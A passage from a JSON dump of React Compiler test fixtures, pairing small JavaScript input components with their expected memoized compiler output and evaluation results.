    "content": "import {useState} from 'react';\nimport {Stringify} from 'shared-runtime';\n\nfunction Component() {\n  let [state, setState] = useState(0);\n  return (\n    <div>\n      <Stringify text=\"Counter\" />\n      <span>{state}</span>\n      <button data-testid=\"button\" onClick={() => setState(state + 1)}>\n        increment\n      </button>\n    </div>\n  );\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{value: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {setProperty} from 'shared-runtime';\n\nfunction Component(props) {\n  // start of scope for y, depend on props.a\n  let y = {};\n\n  // nested scope for x, dependent on props.a\n  const x = {};\n  setProperty(x, props.a);\n  // end of scope for x\n\n  y.a = props.a;\n  y.x = x;\n  // end of scope for y\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 42}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { setProperty } from \"shared-runtime\";\n\nfunction Component(props) {\n  const $ = _c(2);\n  let y;\n  if ($[0] !== props.a) {\n    y = {};\n\n    const x = {};\n    setProperty(x, props.a);\n\n    y.a = props.a;\n    y.x = x;\n    $[0] = props.a;\n    $[1] = y;\n  } else {\n    y = $[1];\n  }\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: 42 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":42,\"x\":{\"wat0\":42}}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/merge-nested-scopes-with-same-inputs.js",
    "content": "import {setProperty} from 'shared-runtime';\n\nfunction Component(props) {\n  // start of scope for y, depend on props.a\n  let y = {};\n\n  // nested scope for x, dependent on props.a\n  const x = {};\n  setProperty(x, props.a);\n  // end of scope for x\n\n  y.a = props.a;\n  y.x = x;\n  // end of scope for y\n\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: 42}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\" @enableAssumeHooksFollowRulesOfReact:false @customMacros:\"cx\"\nimport {identity} from 'shared-runtime';\n\nconst DARK = 'dark';\n\nfunction Component() {\n  const theme = useTheme();\n  return (\n    <div\n      className={cx({\n        'styles/light': true,\n        'styles/dark': theme.getTheme() === DARK,\n      })}\n    />\n  );\n}\n\nfunction cx(obj) {\n  const classes = [];\n  for (const [key, value] of Object.entries(obj)) {\n    if (value) {\n      classes.push(key);\n    }\n  }\n  return classes.join(' ');\n}\n\nfunction useTheme() {\n  return {\n    getTheme() {\n      return DARK;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\" @enableAssumeHooksFollowRulesOfReact:false @customMacros:\"cx\"\nimport { identity } from \"shared-runtime\";\n\nconst DARK = \"dark\";\n\nfunction Component() {\n  const $ = _c(2);\n  const theme = useTheme();\n\n  const t0 = cx({\n    \"styles/light\": true,\n    \"styles/dark\": theme.getTheme() === DARK,\n  });\n  let t1;\n  if ($[0] !== t0) {\n    t1 = <div className={t0} />;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nfunction cx(obj) {\n  const classes = [];\n  for (const [key, value] of Object.entries(obj)) {\n    if (value) {\n      classes.push(key);\n    }\n  }\n  return classes.join(\" \");\n}\n\nfunction useTheme() {\n  return {\n    getTheme() {\n      return DARK;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"styles/light styles/dark\"></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-assigned-to-temporary.js",
    "content": "// @compilationMode:\"infer\" @enableAssumeHooksFollowRulesOfReact:false @customMacros:\"cx\"\nimport {identity} from 'shared-runtime';\n\nconst DARK = 'dark';\n\nfunction Component() {\n  const theme = useTheme();\n  return (\n    <div\n      className={cx({\n        'styles/light': true,\n        'styles/dark': theme.getTheme() === DARK,\n      })}\n    />\n  );\n}\n\nfunction cx(obj) {\n  const classes = [];\n  for (const [key, value] of Object.entries(obj)) {\n    if (value) {\n      classes.push(key);\n    }\n  }\n  return classes.join(' ');\n}\n\nfunction useTheme() {\n  return {\n    getTheme() {\n      return DARK;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\" @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)\nimport {identity} from 'shared-runtime';\n\nconst DARK = 'dark';\n\nfunction Component() {\n  const theme = useTheme();\n  return (\n    <div\n      className={cx.foo({\n        'styles/light': true,\n        'styles/dark': identity([theme.getTheme()]),\n      })}\n    />\n  );\n}\n\nconst cx = {\n  foo(obj) {\n    const classes = [];\n    for (const [key, value] of Object.entries(obj)) {\n      if (value) {\n        classes.push(key);\n      }\n    }\n    return classes.join(' ');\n  },\n};\n\nfunction useTheme() {\n  return {\n    getTheme() {\n      return DARK;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\" @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)\nimport { identity } from \"shared-runtime\";\n\nconst DARK = \"dark\";\n\nfunction Component() {\n  const $ = _c(2);\n  const theme = useTheme();\n\n  const t0 = cx.foo({\n    \"styles/light\": true,\n    \"styles/dark\": identity([theme.getTheme()]),\n  });\n  let t1;\n  if ($[0] !== t0) {\n    t1 = <div className={t0} />;\n    $[0] = t0;\n    $[1] = t1;\n  } else {\n    t1 = $[1];\n  }\n  return t1;\n}\n\nconst cx = {\n  foo(obj) {\n    const classes = [];\n    for (const [key, value] of Object.entries(obj)) {\n      if (value) {\n        classes.push(key);\n      }\n    }\n    return classes.join(\" \");\n  },\n};\n\nfunction useTheme() {\n  return {\n    getTheme() {\n      return DARK;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"styles/light styles/dark\"></div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-assigned-to-temporary.js",
    "content": "// @compilationMode:\"infer\" @enableAssumeHooksFollowRulesOfReact:false @customMacros(cx)\nimport {identity} from 'shared-runtime';\n\nconst DARK = 'dark';\n\nfunction Component() {\n  const theme = useTheme();\n  return (\n    <div\n      className={cx.foo({\n        'styles/light': true,\n        'styles/dark': identity([theme.getTheme()]),\n      })}\n    />\n  );\n}\n\nconst cx = {\n  foo(obj) {\n    const classes = [];\n    for (const [key, value] of Object.entries(obj)) {\n      if (value) {\n        classes.push(key);\n      }\n    }\n    return classes.join(' ');\n  },\n};\n\nfunction useTheme() {\n  return {\n    getTheme() {\n      return DARK;\n    },\n  };\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.expect.md",
    "content": "\n## Input\n\n```javascript\n// @compilationMode:\"infer\"\nimport {makeArray} from 'shared-runtime';\n\nfunction Component() {\n  const items = makeArray('foo', 'bar', '', null, 'baz', false, 'merp');\n  const classname = cx.namespace(...items.filter(isNonEmptyString));\n  return <div className={classname}>Ok</div>;\n}\n\nfunction isNonEmptyString(s) {\n  return typeof s === 'string' && s.trim().length !== 0;\n}\n\nconst cx = {\n  namespace(...items) {\n    return items.join(' ');\n  },\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // @compilationMode:\"infer\"\nimport { makeArray } from \"shared-runtime\";\n\nfunction Component() {\n  const $ = _c(1);\n  let t0;\n  if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n    const items = makeArray(\"foo\", \"bar\", \"\", null, \"baz\", false, \"merp\");\n    const classname = cx.namespace(...items.filter(isNonEmptyString));\n    t0 = <div className={classname}>Ok</div>;\n    $[0] = t0;\n  } else {\n    t0 = $[0];\n  }\n  return t0;\n}\n\nfunction isNonEmptyString(s) {\n  return typeof s === \"string\" && s.trim().length !== 0;\n}\n\nconst cx = {\n  namespace(...items) {\n    return items.join(\" \");\n  },\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div class=\"foo bar baz merp\">Ok</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-isms/repro-cx-namespace-nesting.js",
    "content": "// @compilationMode:\"infer\"\nimport {makeArray} from 'shared-runtime';\n\nfunction Component() {\n  const items = makeArray('foo', 'bar', '', null, 'baz', false, 'merp');\n  const classname = cx.namespace(...items.filter(isNonEmptyString));\n  return <div className={classname}>Ok</div>;\n}\n\nfunction isNonEmptyString(s) {\n  return typeof s === 'string' && s.trim().length !== 0;\n}\n\nconst cx = {\n  namespace(...items) {\n    return items.join(' ');\n  },\n};\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-property.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction a() {\n  return import.meta.url;\n}\n\nfunction b() {\n  let a = 0;\n  if (import.meta.url) {\n    a = 1;\n  }\n  return a;\n}\n\nfunction c() {\n  let a = 0;\n  if (import.meta.foo) {\n    a = 1;\n  }\n  return a;\n}\n\nfunction d() {\n  let a = 0;\n  if (import.meta) {\n    a = 1;\n  }\n  return a;\n}\n\n```\n\n## Code\n\n```javascript\nfunction a() {\n  return import.meta.url;\n}\n\nfunction b() {\n  let a = 0;\n  if (import.meta.url) {\n    a = 1;\n  }\n\n  return a;\n}\n\nfunction c() {\n  let a = 0;\n  if (import.meta.foo) {\n    a = 1;\n  }\n\n  return a;\n}\n\nfunction d() {\n  let a = 0;\n  if (import.meta) {\n    a = 1;\n  }\n\n  return a;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/meta-property.mjs",
    "content": "function a() {\n  return import.meta.url;\n}\n\nfunction b() {\n  let a = 0;\n  if (import.meta.url) {\n    a = 1;\n  }\n  return a;\n}\n\nfunction c() {\n  let a = 0;\n  if (import.meta.foo) {\n    a = 1;\n  }\n  return a;\n}\n\nfunction d() {\n  let a = 0;\n  if (import.meta) {\n    a = 1;\n  }\n  return a;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-computed.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  // Construct and freeze x, y\n  const x = makeObject(a);\n  const y = makeObject(a);\n  <div>\n    {x}\n    {y}\n  </div>;\n\n  // z should depend on `x`, `y.method`, and `b`\n  const z = x[y.method](b);\n  return z;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(8);\n  let t0;\n  if ($[0] !== a) {\n    t0 = makeObject(a);\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== a) {\n    t1 = makeObject(a);\n    $[2] = a;\n    $[3] = t1;\n  } else {\n    t1 = $[3];\n  }\n  const y = t1;\n  let t2;\n  if ($[4] !== b || $[5] !== x || $[6] !== y.method) {\n    t2 = x[y.method](b);\n    $[4] = b;\n    $[5] = x;\n    $[6] = y.method;\n    $[7] = t2;\n  } else {\n    t2 = $[7];\n  }\n  const z = t2;\n  return z;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-computed.js",
    "content": "function foo(a, b, c) {\n  // Construct and freeze x, y\n  const x = makeObject(a);\n  const y = makeObject(a);\n  <div>\n    {x}\n    {y}\n  </div>;\n\n  // z should depend on `x`, `y.method`, and `b`\n  const z = x[y.method](b);\n  return z;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-fn-call.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction foo(a, b, c) {\n  // Construct and freeze x\n  const x = makeObject(a);\n  <div>{x}</div>;\n\n  // y should depend on `x` and `b`\n  const method = x.method;\n  const y = method.call(x, b);\n  return y;\n}\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction foo(a, b, c) {\n  const $ = _c(6);\n  let t0;\n  if ($[0] !== a) {\n    t0 = makeObject(a);\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n\n  const method = x.method;\n  let t1;\n  if ($[2] !== b || $[3] !== method || $[4] !== x) {\n    t1 = method.call(x, b);\n    $[2] = b;\n    $[3] = method;\n    $[4] = x;\n    $[5] = t1;\n  } else {\n    t1 = $[5];\n  }\n  const y = t1;\n  return y;\n}\n\n```\n      "
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call-fn-call.js",
    "content": "function foo(a, b, c) {\n  // Construct and freeze x\n  const x = makeObject(a);\n  <div>{x}</div>;\n\n  // y should depend on `x` and `b`\n  const method = x.method;\n  const y = method.call(x, b);\n  return y;\n}\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {addOne, shallowCopy} from 'shared-runtime';\n\nfunction foo(a, b, c) {\n  // Construct and freeze x\n  const x = shallowCopy(a);\n  <div>{x}</div>;\n\n  // y should depend on `x` and `b`\n  const y = x.foo(b);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{foo: addOne}, 3],\n  isComponent: false,\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { addOne, shallowCopy } from \"shared-runtime\";\n\nfunction foo(a, b, c) {\n  const $ = _c(5);\n  let t0;\n  if ($[0] !== a) {\n    t0 = shallowCopy(a);\n    $[0] = a;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  const x = t0;\n  let t1;\n  if ($[2] !== b || $[3] !== x) {\n    t1 = x.foo(b);\n    $[2] = b;\n    $[3] = x;\n    $[4] = t1;\n  } else {\n    t1 = $[4];\n  }\n  const y = t1;\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{ foo: addOne }, 3],\n  isComponent: false,\n};\n\n```\n      \n### Eval output\n(kind: ok) 4"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/method-call.js",
    "content": "import {addOne, shallowCopy} from 'shared-runtime';\n\nfunction foo(a, b, c) {\n  // Construct and freeze x\n  const x = shallowCopy(a);\n  <div>{x}</div>;\n\n  // y should depend on `x` and `b`\n  const y = x.foo(b);\n  return y;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: foo,\n  params: [{foo: addOne}, 3],\n  isComponent: false,\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {\n  arrayPush,\n  identity,\n  makeArray,\n  Stringify,\n  useFragment,\n} from 'shared-runtime';\n\n/**\n * Bug repro showing why it's invalid for function references to be annotated\n * with a `Read` effect when that reference might lead to the function being\n * invoked.\n *\n * Note that currently, `Array.map` is annotated to have `Read` effects on its\n * operands. This is incorrect as function effects must be replayed when `map`\n * is called\n * - Read:                non-aliasing data dependency\n * - Capture:             maybe-aliasing data dependency\n * - ConditionallyMutate: maybe-aliasing data dependency; maybe-write / invoke\n *     but only if the value is mutable\n *\n * Invalid evaluator result: Found differences in evaluator results Non-forget\n * (expected): (kind: ok)\n *   <div>{\"x\":[2,2,2],\"count\":3}</div><div>{\"item\":1}</div>\n *   <div>{\"x\":[2,2,2],\"count\":4}</div><div>{\"item\":1}</div>\n * Forget:\n *   (kind: ok)\n *   <div>{\"x\":[2,2,2],\"count\":3}</div><div>{\"item\":1}</div>\n *   <div>{\"x\":[2,2,2,2,2,2],\"count\":4}</div><div>{\"item\":1}</div>\n */\n\nfunction Component({extraJsx}) {\n  const x = makeArray();\n  const items = useFragment();\n  // This closure has the following effects that must be replayed:\n  //   - MaybeFreeze / Capture of `items`\n  //   - ConditionalMutate of x\n  const jsx = items.a.map((item, i) => {\n    arrayPush(x, 2);\n    return <Stringify item={item} key={i} />;\n  });\n  const offset = jsx.length;\n  for (let i = 0; i < extraJsx; i++) {\n    jsx.push(<Stringify item={0} key={i + offset} />);\n  }\n  const count = jsx.length;\n  identity(count);\n  return (\n    <>\n      <Stringify x={x} count={count} />\n      {jsx[0]}\n    </>\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{extraJsx: 0}],\n  sequentialRenders: [{extraJsx: 0}, {extraJsx: 1}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport {\n  arrayPush,\n  identity,\n  makeArray,\n  Stringify,\n  useFragment,\n} from \"shared-runtime\";\n\n/**\n * Bug repro showing why it's invalid for function references to be annotated\n * with a `Read` effect when that reference might lead to the function being\n * invoked.\n *\n * Note that currently, `Array.map` is annotated to have `Read` effects on its\n * operands. This is incorrect as function effects must be replayed when `map`\n * is called\n * - Read:                non-aliasing data dependency\n * - Capture:             maybe-aliasing data dependency\n * - ConditionallyMutate: maybe-aliasing data dependency; maybe-write / invoke\n *     but only if the value is mutable\n *\n * Invalid evaluator result: Found differences in evaluator results Non-forget\n * (expected): (kind: ok)\n *   <div>{\"x\":[2,2,2],\"count\":3}</div><div>{\"item\":1}</div>\n *   <div>{\"x\":[2,2,2],\"count\":4}</div><div>{\"item\":1}</div>\n * Forget:\n *   (kind: ok)\n *   <div>{\"x\":[2,2,2],\"count\":3}</div><div>{\"item\":1}</div>\n *   <div>{\"x\":[2,2,2,2,2,2],\"count\":4}</div><div>{\"item\":1}</div>\n */\n\nfunction Component(t0) {\n  const $ = _c(6);\n  const { extraJsx } = t0;\n  const x = makeArray();\n  const items = useFragment();\n\n  const jsx = items.a.map((item, i) => {\n    arrayPush(x, 2);\n    return <Stringify item={item} key={i} />;\n  });\n  const offset = jsx.length;\n  for (let i_0 = 0; i_0 < extraJsx; i_0++) {\n    jsx.push(<Stringify item={0} key={i_0 + offset} />);\n  }\n\n  const count = jsx.length;\n  identity(count);\n  let t1;\n  if ($[0] !== count || $[1] !== x) {\n    t1 = <Stringify x={x} count={count} />;\n    $[0] = count;\n    $[1] = x;\n    $[2] = t1;\n  } else {\n    t1 = $[2];\n  }\n  let t2;\n  if ($[3] !== jsx[0] || $[4] !== t1) {\n    t2 = (\n      <>\n        {t1}\n        {jsx[0]}\n      </>\n    );\n    $[3] = jsx[0];\n    $[4] = t1;\n    $[5] = t2;\n  } else {\n    t2 = $[5];\n  }\n  return t2;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ extraJsx: 0 }],\n  sequentialRenders: [{ extraJsx: 0 }, { extraJsx: 1 }],\n};\n\n```\n      \n### Eval output\n(kind: ok) <div>{\"x\":[2,2,2],\"count\":3}</div><div>{\"item\":1}</div>\n<div>{\"x\":[2,2,2],\"count\":4}</div><div>{\"item\":1}</div>"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/mixedreadonly-mutating-map.js",
    "content": "import {\n  arrayPush,\n  identity,\n  makeArray,\n  Stringify,\n  useFragment,\n} from 'shared-runtime';\n\n/**\n * Bug repro showing why it's invalid for function references to be annotated\n * with a `Read` effect when that reference might lead to the function being\n * invoked.\n *\n * Note that currently, `Array.map` is annotated to have `Read` effects on its\n * operands. This is incorrect as function effects must be replayed when `map`\n * is called\n * - Read:                non-aliasing data dependency\n * - Capture:             maybe-aliasing data dependency\n * - ConditionallyMutate: maybe-aliasing data dependency; maybe-write / invoke\n *     but only if the value is mutable\n *\n * Invalid evaluator result: Found differences in evaluator results Non-forget\n * (expected): (kind: ok)\n *   <div>{\"x\":[2,2,2],\"count\":3}</div><div>{\"item\":1}</div>\n *   <div>{\"x\":[2,2,2],\"count\":4}</div><div>{\"item\":1}</div>\n * Forget:\n *   (kind: ok)\n *   <div>{\"x\":[2,2,2],\"count\":3}</div><div>{\"item\":1}</div>\n *   <div>{\"x\":[2,2,2,2,2,2],\"count\":4}</div><div>{\"item\":1}</div>\n */\n\nfunction Component({extraJsx}) {\n  const x = makeArray();\n  const items = useFragment();\n  // This closure has the following effects that must be replayed:\n  //   - MaybeFreeze / Capture of `items`\n  //   - ConditionalMutate of x\n  const jsx = items.a.map((item, i) => {\n    arrayPush(x, 2);\n    return <Stringify item={item} key={i} />;\n  });\n  const offset = jsx.length;\n  for (let i = 0; i < extraJsx; i++) {\n    jsx.push(<Stringify item={0} key={i + offset} />);\n  }\n  const count = jsx.length;\n  identity(count);\n  return (\n    <>\n      <Stringify x={x} count={count} />\n      {jsx[0]}\n    </>\n  );\n}\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{extraJsx: 0}],\n  sequentialRenders: [{extraJsx: 0}, {extraJsx: 1}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.expect.md",
    "content": "\n## Input\n\n```javascript\nimport React from 'react';\nimport {useState} from 'react';\n\nconst CONST = true;\n\nlet NON_REASSIGNED_LET = true;\n\nlet REASSIGNED_LET = false;\nREASSIGNED_LET = true;\n\nfunction reassignedFunction() {}\nreassignedFunction = true;\n\nfunction nonReassignedFunction() {}\n\nclass ReassignedClass {}\nReassignedClass = true;\n\nclass NonReassignedClass {}\n\nfunction Component() {\n  const [state] = useState(null);\n  return [\n    React,\n    state,\n    CONST,\n    NON_REASSIGNED_LET,\n    REASSIGNED_LET,\n    reassignedFunction,\n    nonReassignedFunction,\n    ReassignedClass,\n    NonReassignedClass,\n  ];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport React from \"react\";\nimport { useState } from \"react\";\n\nconst CONST = true;\n\nlet NON_REASSIGNED_LET = true;\n\nlet REASSIGNED_LET = false;\nREASSIGNED_LET = true;\n\nfunction reassignedFunction() {}\nreassignedFunction = true;\n\nfunction nonReassignedFunction() {}\n\nclass ReassignedClass {}\nReassignedClass = true;\n\nclass NonReassignedClass {}\n\nfunction Component() {\n  const $ = _c(2);\n  const [state] = useState(null);\n  let t0;\n  if ($[0] !== state) {\n    t0 = [\n      React,\n      state,\n      CONST,\n      NON_REASSIGNED_LET,\n      REASSIGNED_LET,\n      reassignedFunction,\n      nonReassignedFunction,\n      ReassignedClass,\n      NonReassignedClass,\n    ];\n    $[0] = state;\n    $[1] = t0;\n  } else {\n    t0 = $[1];\n  }\n  return t0;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"Children\":{\"map\":\"[[ function params=3 ]]\",\"forEach\":\"[[ function params=3 ]]\",\"count\":\"[[ function params=1 ]]\",\"toArray\":\"[[ function params=1 ]]\",\"only\":\"[[ function params=1 ]]\"},\"Component\":\"[[ function params=3 ]]\",\"PureComponent\":\"[[ function params=3 ]]\",\"__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\":{\"H\":{\"readContext\":\"[[ function params=1 ]]\",\"use\":\"[[ function params=1 ]]\",\"useCallback\":\"[[ function params=2 ]]\",\"useContext\":\"[[ function params=1 ]]\",\"useEffect\":\"[[ function params=2 ]]\",\"useImperativeHandle\":\"[[ function params=3 ]]\",\"useInsertionEffect\":\"[[ function params=2 ]]\",\"useLayoutEffect\":\"[[ function params=2 ]]\",\"useMemo\":\"[[ function params=2 ]]\",\"useReducer\":\"[[ function params=3 ]]\",\"useRef\":\"[[ function params=1 ]]\",\"useState\":\"[[ function params=1 ]]\",\"useDebugValue\":\"[[ function params=0 ]]\",\"useDeferredValue\":\"[[ function params=2 ]]\",\"useTransition\":\"[[ function params=0 ]]\",\"useSyncExternalStore\":\"[[ function params=3 ]]\",\"useId\":\"[[ function params=0 ]]\",\"useCacheRefresh\":\"[[ function params=0 ]]\",\"useMemoCache\":\"[[ function params=1 ]]\",\"useEffectEvent\":\"[[ function params=1 ]]\",\"useHostTransitionStatus\":\"[[ function params=0 ]]\",\"useFormState\":\"[[ function params=2 ]]\",\"useActionState\":\"[[ function params=2 ]]\",\"useOptimistic\":\"[[ function params=1 ]]\"},\"A\":{\"getCacheForType\":\"[[ function params=1 ]]\",\"getOwner\":\"[[ function params=0 ]]\"},\"T\":null,\"S\":\"[[ function params=2 ]]\",\"actQueue\":[\"[[ function params=0 ]]\",\"[[ function params=1 ]]\"],\"isBatchingLegacy\":false,\"didScheduleLegacyUpdate\":false,\"didUsePromise\":false,\"thrownErrors\":[],\"getCurrentStack\":\"[[ function params=0 ]]\"},\"__COMPILER_RUNTIME\":{\"c\":\"[[ function params=1 ]]\"},\"act\":\"[[ function params=1 ]]\",\"cache\":\"[[ function params=1 ]]\",\"captureOwnerStack\":\"[[ function params=0 ]]\",\"cloneElement\":\"[[ function params=3 ]]\",\"createContext\":\"[[ function params=1 ]]\",\"createElement\":\"[[ function params=3 ]]\",\"createRef\":\"[[ function params=0 ]]\",\"experimental_useEffectEvent\":\"[[ function params=1 ]]\",\"experimental_useOptimistic\":\"[[ function params=2 ]]\",\"experimental_useResourceEffect\":\"[[ function params=0 ]]\",\"forwardRef\":\"[[ function params=1 ]]\",\"isValidElement\":\"[[ function params=1 ]]\",\"lazy\":\"[[ function params=1 ]]\",\"memo\":\"[[ function params=2 ]]\",\"startTransition\":\"[[ function params=1 ]]\",\"unstable_getCacheForType\":\"[[ function params=1 ]]\",\"unstable_postpone\":\"[[ function params=1 ]]\",\"unstable_useCacheRefresh\":\"[[ function params=0 ]]\",\"use\":\"[[ function params=1 ]]\",\"useActionState\":\"[[ function params=3 ]]\",\"useCallback\":\"[[ function params=2 ]]\",\"useContext\":\"[[ function params=1 ]]\",\"useDebugValue\":\"[[ function params=2 ]]\",\"useDeferredValue\":\"[[ function params=2 ]]\",\"useEffect\":\"[[ function params=2 ]]\",\"useId\":\"[[ function params=0 ]]\",\"useImperativeHandle\":\"[[ function params=3 ]]\",\"useInsertionEffect\":\"[[ function params=2 ]]\",\"useLayoutEffect\":\"[[ function params=2 ]]\",\"useMemo\":\"[[ function params=2 ]]\",\"useOptimistic\":\"[[ function params=2 ]]\",\"useReducer\":\"[[ function params=3 ]]\",\"useRef\":\"[[ function params=1 ]]\",\"useState\":\"[[ function params=1 ]]\",\"useSyncExternalStore\":\"[[ function params=3 ]]\",\"useTransition\":\"[[ function params=0 ]]\",\"version\":\"19.0.0-experimental-4beb1fd8-20241118\"},\"[[ cyclic ref *6 ]]\",true,true,true,true,\"[[ function params=0 ]]\",true,\"[[ function params=0 ]]\"]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/module-scoped-bindings.js",
    "content": "import React from 'react';\nimport {useState} from 'react';\n\nconst CONST = true;\n\nlet NON_REASSIGNED_LET = true;\n\nlet REASSIGNED_LET = false;\nREASSIGNED_LET = true;\n\nfunction reassignedFunction() {}\nreassignedFunction = true;\n\nfunction nonReassignedFunction() {}\n\nclass ReassignedClass {}\nReassignedClass = true;\n\nclass NonReassignedClass {}\n\nfunction Component() {\n  const [state] = useState(null);\n  return [\n    React,\n    state,\n    CONST,\n    NON_REASSIGNED_LET,\n    REASSIGNED_LET,\n    reassignedFunction,\n    nonReassignedFunction,\n    ReassignedClass,\n    NonReassignedClass,\n  ];\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/multi-directive.expect.md",
